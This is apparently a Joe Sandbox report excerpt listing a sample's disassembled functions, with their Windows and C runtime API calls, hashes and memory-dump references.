Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 3bcc0019167008ed6046610103470990902ffce4856a4c3d90b832063c98dd80
Instruction ID: e8fdd0a554a2632d2ff0352f7197dd0651b976686c93187f285c53448bd4587f
Opcode Fuzzy Hash: 3bcc0019167008ed6046610103470990902ffce4856a4c3d90b832063c98dd80
Instruction Fuzzy Hash: 0AE0ED72E0222AB7CB30ABE1AC0CCDBBF6CEE062657404021BD05E2014D638D116C7F5

Function 0040812B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408130

Part of subcall function 0040184A: __EH_prolog.LIBCMT ref: 0040184F
Part of subcall function 0040184A: _memset.LIBCMT ref: 00401992
Part of subcall function 0040184A: _memset.LIBCMT ref: 004019A1
Part of subcall function 0040184A: _memset.LIBCMT ref: 004019B0

Part of subcall function 00401440: __EH_prolog.LIBCMT ref: 00401445

_wcscpy.LIBCMT ref: 004081CF

Strings

rar, xrefs: 00408182

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID: rar
API String ID: 2876264062-1792618458
Opcode ID: a84578caa249fda90f0110424be84e90377f3ec811dce38ddd6535a8ee302c02
Instruction ID: 3983f395f1bbe4ca3dd186b8fcdf25185155a986bbeb1fad17e19b91f567a397
Opcode Fuzzy Hash: a84578caa249fda90f0110424be84e90377f3ec811dce38ddd6535a8ee302c02
Instruction Fuzzy Hash: D641A671944658AEDB24EB60C945BEA77B8AF14308F0448FFE48973182DB785FC4CB19

Function 00412461 Relevance: 4.6, APIs: 3, Instructions: 110COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 004124DC
_malloc.LIBCMT ref: 004124F6

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

_memset.LIBCMT ref: 00412549

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 5fe1e4f97fa9e211ee17084620d103a7d09ce5600d60130a885b20d2347bc829
Instruction ID: 51269822a4ebdb960cecbe3bc0489266129fd98c847df25caf6003947ae78722
Opcode Fuzzy Hash: 5fe1e4f97fa9e211ee17084620d103a7d09ce5600d60130a885b20d2347bc829
Instruction Fuzzy Hash: 214104B0901744ABEB21DE78DAC47DA77D0AB14305F10482FE489D7241D7B8AAE0875C

Function 004089C9 Relevance: 4.6, APIs: 3, Instructions: 104fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,0040BA0F,?,?,00000000,?,?,0041225E,?,?,?,00000001,?), ref: 004089E5
WriteFile.KERNEL32(00000001,?,00004000,?,00000000,?,?,0040BA0F,?,?,00000000,?,?,0041225E,?,?), ref: 00408A21
WriteFile.KERNELBASE(00000001,?,00000000,?,00000000,?,?,?,?,?,0040BA0F,?,?,00000000,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 60fdaaf5b18fd68c24a91242a2dbbc34deab907d478245023e1af0c3568f0ee7
Instruction ID: 7dafab93038a227be19c913a50d78580f7211669e4596883db46a55b3dbd462d
Opcode Fuzzy Hash: 60fdaaf5b18fd68c24a91242a2dbbc34deab907d478245023e1af0c3568f0ee7
Instruction Fuzzy Hash: 0531F271340604AFDB249F24CA44BBB77A9EB94710F04813FE896AB6C1DB38AD45CF19

Function 004091E9 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 00409FAA: _wcslen.LIBCMT ref: 00409FB0

CreateDirectoryW.KERNELBASE(00000000,00000000,00000000,?,?,?,0040933E,?,00000001,00000000,?,?,?,?,?), ref: 00409219
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000800,00000000,00000000,?,?,?,0040933E,?,00000001,00000000,?,?), ref: 00409248
GetLastError.KERNEL32(00000000,00000000,?,?,?,0040933E,?,00000001,00000000,?,?,?,?,?,?,0040672F), ref: 00409261

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 414090fd1d27a7ec09d3ce4284bc2b3f1832e7866cd796565000b453ae27314c
Instruction ID: 23bfc136bf6baec306a6366cc8aa037d8679fca5358ed8655fcd7ed6102d0436
Opcode Fuzzy Hash: 414090fd1d27a7ec09d3ce4284bc2b3f1832e7866cd796565000b453ae27314c
Instruction Fuzzy Hash: 9F012E2520420575EF2167264C05FBB722C9B86B84F0848BFF941F22D3CA3CEC92867A

Function 0040E187 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040E18C
_wcscpy.LIBCMT ref: 0040E1AC

Part of subcall function 00410AC0: _wcslen.LIBCMT ref: 00410AD6
Part of subcall function 00410AC0: _wcscpy.LIBCMT ref: 00410AEC

_wcscpy.LIBCMT ref: 0040E1CA

Part of subcall function 00407096: __EH_prolog.LIBCMT ref: 0040709B

Part of subcall function 00406FBA: __EH_prolog.LIBCMT ref: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: 62faf8865d871e777e31c7bdaaaf3d23f743130b80ce5055fa305da7b72432e0
Instruction ID: 27d61f072e75d13073c2fbb57f14699bfe0c36fd78bc515b06fc75f56fee3a50
Opcode Fuzzy Hash: 62faf8865d871e777e31c7bdaaaf3d23f743130b80ce5055fa305da7b72432e0
Instruction Fuzzy Hash: D0113A75A0A254FED701EB65E8427CD7BB1EB16718F14406FF04462282CFBD1A51CB6E

Function 00401790 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00401795

Strings

CMT, xrefs: 004017FE

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 96e274538cfab30d32c2c5afd198a28cd0a783dd8aa7f54393f5780403129076
Instruction ID: ba9e54cebe165e43e12e4b41765bdf979fe8c4f2b39543410f45230b8d029d34
Opcode Fuzzy Hash: 96e274538cfab30d32c2c5afd198a28cd0a783dd8aa7f54393f5780403129076
Instruction Fuzzy Hash: A221C371604554AFCB15AF6488909AEBBA9EF45324B04C06EF856673A2C7395E01CB68

Function 00401106 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 004063AD: __vswprintf_c_l.LIBCMT ref: 004063CB

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: ac7e39a56722bfb5e628e20bc35834a97851e67a4835175f81a6780a152830dd
Instruction ID: bb51bb8f72ddee3e18bd46bc894267ff4a261c1e0a85f7424ebd2ae05975c311
Opcode Fuzzy Hash: ac7e39a56722bfb5e628e20bc35834a97851e67a4835175f81a6780a152830dd
Instruction Fuzzy Hash: C701A2353003055FD728AA25D89193FB3DAEF88764310443FE9ABA7B91EA39BC508718

Function 00401440 Relevance: 3.3, APIs: 2, Instructions: 264COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00401445

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cd7338f795f66c19b3d9cd1e26c83d9273c7355705f52096d0b564cf6d22c47a
Instruction ID: e30dfece3b806704b98678fd7eff66dc4256349ef370d001556c8b63c1fc4a25
Opcode Fuzzy Hash: cd7338f795f66c19b3d9cd1e26c83d9273c7355705f52096d0b564cf6d22c47a
Instruction Fuzzy Hash: F9A1A470A00B449FDB31DB78C8447ABBBE5AF45304F14496FE0A6E72E1C779A881CB59

Function 00408843 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408697,?,-00000011,?), ref: 004088C5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408697), ref: 004088FA

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a4ede3637f81c6399fe517e098df117480547d4bd77c9e53a4a01029ce24adf2
Instruction ID: 784a8f5131ab6fe8d16b89489c66080721abb018ebdeb7173a8cdc1c7e52f572
Opcode Fuzzy Hash: a4ede3637f81c6399fe517e098df117480547d4bd77c9e53a4a01029ce24adf2
Instruction Fuzzy Hash: 4C210672000709AFDB20AF248D41EEA7BB9EB04324F40C53EF5D5972D1CA79DD859B58

Function 00408C55 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?), ref: 00408C6F
SetFileTime.KERNELBASE(?,00000000,00000000,00000000,?,?,?), ref: 00408D16

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 77b2b841dbfb1dd3bf3fae68253bd11748802c7ac217e7d98abe305092b574c6
Instruction ID: 9934343912befec5579582a579c8f78507b0e2abfc909207551953b2bb2c960f
Opcode Fuzzy Hash: 77b2b841dbfb1dd3bf3fae68253bd11748802c7ac217e7d98abe305092b574c6
Instruction Fuzzy Hash: FA21D531A05148AFEB15CF68CA45FEE7BB49F11314F18802EE895EB2C0DB38DA45C768

Function 00401313 Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00401318

Part of subcall function 00402C8F: __EH_prolog.LIBCMT ref: 00402C94

_wcslen.LIBCMT ref: 004013BA

Part of subcall function 0041A27A: __lock.LIBCMT ref: 0041A298
Part of subcall function 0041A27A: ___sbh_find_block.LIBCMT ref: 0041A2A3
Part of subcall function 0041A27A: ___sbh_free_block.LIBCMT ref: 0041A2B2
Part of subcall function 0041A27A: RtlFreeHeap.NTDLL(00000000,00000000,0042D5E0,0000000C,0041ED34,00000000,0042D8B8,0000000C,0041ED6E,00000000,0041A71B,?,004251F8,00000004,0042DAA0,0000000C), ref: 0041A2E2
Part of subcall function 0041A27A: GetLastError.KERNEL32(?,004251F8,00000004,0042DAA0,0000000C,004210EE,00000000,0041A72A,00000000,00000000,00000000,?,0041E716,00000001,00000214), ref: 0041A2F3

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
Opcode ID: 9b806b1359a32eee616e084e0610277f25a75823928bb00d0b22addce5a9ba26
Instruction ID: 3a55d338a65da8f96d8438de8baa1fb22c516d62b219eb91f85df80b6fbcccb4
Opcode Fuzzy Hash: 9b806b1359a32eee616e084e0610277f25a75823928bb00d0b22addce5a9ba26
Instruction Fuzzy Hash: F121A131800205EBDF11AF95E801AEEBBB9EF08704F10417FF815B26A1C73D0A91DB89

Function 0040E608 Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040E60D

Part of subcall function 0040184A: __EH_prolog.LIBCMT ref: 0040184F
Part of subcall function 0040184A: _memset.LIBCMT ref: 00401992
Part of subcall function 0040184A: _memset.LIBCMT ref: 004019A1
Part of subcall function 0040184A: _memset.LIBCMT ref: 004019B0

Part of subcall function 00401790: __EH_prolog.LIBCMT ref: 00401795

_malloc.LIBCMT ref: 0040E675

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: f20aaa6ceb426e52629ba7c54288e2a34bf7f33bf22dafb0c778fbdc05834582
Instruction ID: 12e2d36743818a4afdaa2ebb84b17aaebdecbea8ad3659f9ce02ebd1e3ff5b4a
Opcode Fuzzy Hash: f20aaa6ceb426e52629ba7c54288e2a34bf7f33bf22dafb0c778fbdc05834582
Instruction Fuzzy Hash: 5D216D72900218DFCF05DF95D8819EEBBB8BF18308F40496FE006B3291EA395A55CB69

Function 00408ACE Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408B01
GetLastError.KERNEL32(?,?), ref: 00408B0E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bc5cc84f90a44e3402344609fbe591a0f94b3c4423ccc248817a00e96404d68b
Instruction ID: 1a2c250e95b9ae838a8f6684677bec29d6ee1f68e8b1ee2c42085224d69d667d
Opcode Fuzzy Hash: bc5cc84f90a44e3402344609fbe591a0f94b3c4423ccc248817a00e96404d68b
Instruction Fuzzy Hash: 5801F5B2B02604BFD720A7788E428AB76ADCB84334714433FB552E33C1DA79AD009279

Function 00408E6B Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000001,?,?,?,?,00408EF1,00000001,00000001,00000000,?,00407CEE,?,?), ref: 00408EBE
GetLastError.KERNEL32(00408EF1,00000001,00000001,00000000,?,00407CEE,?,?,?,?,?,?,?,?,00000000,?), ref: 00408ECA

Part of subcall function 00408D23: __EH_prolog.LIBCMT ref: 00408D28

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: 4f1fe507e24abfc9ff72860ed08c9b0e893e9299333d02d570664177b79ae1b2
Instruction ID: 192c80b46441ab47ceee562e6a2b488ff6d5d822f5f6ee3dcc3f87b66fb43dad
Opcode Fuzzy Hash: 4f1fe507e24abfc9ff72860ed08c9b0e893e9299333d02d570664177b79ae1b2
Instruction Fuzzy Hash: 7F019231100318EBCB249F14CE0869B77A5FF50725F144A3EF8A1E22E0DB79E955DA99

Function 0041A60A Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0041A624

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

__CxxThrowException@8.LIBCMT ref: 0041A669

Part of subcall function 00411EDB: std::exception::exception.LIBCMT ref: 00411EE5

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 3478f9e89b29c03405a6adbc8e8381d4b5206ec0b1a49669d22f402693bedd24
Instruction ID: 3cceb8025a7d4aeead261000b78fa94cc5fb3de44e4d38a2e590eddc4ad324aa
Opcode Fuzzy Hash: 3478f9e89b29c03405a6adbc8e8381d4b5206ec0b1a49669d22f402693bedd24
Instruction Fuzzy Hash: 8FF0E23064021962CF047762EC0AACE3B986F42798B18443BEC54920A2DBADAAD5859E

Function 00408FAD Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,00000000,74DF3110,00000001,?,0040925D,00000000,?,?,0040933E,?,00000001,00000000,?,?), ref: 00408FC8
SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040925D,00000000,?,?,0040933E,?,00000001,00000000,?,?), ref: 00408FF5

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AttributesFile
String ID:
